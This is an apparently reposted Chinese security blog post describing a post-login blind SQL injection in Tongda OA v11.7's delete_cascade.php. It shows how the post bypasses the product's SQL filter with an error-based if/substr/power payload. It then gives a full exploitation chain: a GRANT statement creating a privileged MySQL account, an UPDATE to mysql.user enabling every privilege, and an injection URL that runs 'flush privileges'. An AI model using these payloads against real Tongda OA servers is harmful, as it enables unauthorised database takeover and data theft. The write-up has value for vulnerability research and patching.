![565c33e5ccf1e4c6c1ae838d12eb22b4.png](https://i-blog.csdnimg.cn/blog_migrate/707c71a48b3dca4d8a097b8fb4586d9d.png)
1.测试环境
测试版本:通达OA v11.7版本
限制条件:需要账号登录
2.代码审计发现注入
注入出现在general/hr/manage/query/delete_cascade.php文件中,代码实现如下:
![a50161daf42117bf32802f0cc0077ec2.png](https://i-blog.csdnimg.cn/blog_migrate/0f537a7c173e58c61b164c829a910a93.png)
首先判断$condition_cascade是否为空,如果不为空,则将其中的'替换为'。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护,如下:
inc/common.inc.php代码
![7b5793f63a7fc7fedfe83dbc18742e92.png](https://i-blog.csdnimg.cn/blog_migrate/6103b8759a61f7e0157cdf070224e438.png)
因为是无回显机制,是盲注,所以尝试(select 1 from (select sleep(5))a),结果没那么简单:
![e753ce932e8651a21d158947050650ae.png](https://i-blog.csdnimg.cn/blog_migrate/09ba554fbc2d8a7d5fe0f6542f2d8744.png)
触发了通达OA的过滤机制,翻看代码,在inc/conn.php文件中找到过滤机制如下:
![bc61e60edc4f41301a1d74cc6f58655f.png](https://i-blog.csdnimg.cn/blog_migrate/facea888d62dae5119d23e902166eca3.jpeg)
其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if等函数,均未被过滤,所以还是有机会的。
传入错误的SQL语句时,页面出错:
![edf0e515ca1a34939222d425dd64b4e8.png](https://i-blog.csdnimg.cn/blog_migrate/40647231af769d9980bf920ac0617637.png)
那么只要构造MySQL报错即可配合if函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)也可以使数据库报错,所以构造语句:
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错
![11cd475d510e16a4eef8315e9d032a2e.png](https://i-blog.csdnimg.cn/blog_migrate/dd282f9ab7966e16532e0d6122f66a77.png)
![79274eeedb281c6b94933613a1a6b19c.png](https://i-blog.csdnimg.cn/blog_migrate/535c9a430dd64695ce29a4d9583da9b2.png)
3.构造利用链
添加用户
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
![c0628bde90e0ccb335849e4875803f97.png](https://i-blog.csdnimg.cn/blog_migrate/cc9e2998a444f8f6b94bb77f7dcb1d45.jpeg)
![e477e2cf70f8d69afebaaba47ba6a7cb.png](https://i-blog.csdnimg.cn/blog_migrate/c3c558850603fa208dc4add8b0a367fc.png)
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
![4772dd989591d8b35dea879deb1db734.png](https://i-blog.csdnimg.cn/blog_migrate/7a3f6f2760800db40519ff6531d5d38f.jpeg)
然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;这样就拥有了所有权限。再次登录:
![b4e4da9254b62e374e3c6a7b0ee344eb.png](https://i-blog.csdnimg.cn/blog_migrate/ad46b7873a4ff9038a4aa3061e7a0785.png)
提示这个,或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION
即可。
![ae473dce0882d8e7b377e1f99a9eb7df.png](https://i-blog.csdnimg.cn/blog_migrate/1c5df73d8e6dafe6efc4d89694f4336a.jpeg)
![895437f819914f486d22b6994e0fe37e.png](https://i-blog.csdnimg.cn/blog_migrate/6785f719e067051f2b1d9b1897b02a9b.png)
文章来源:一个安全研究员公众号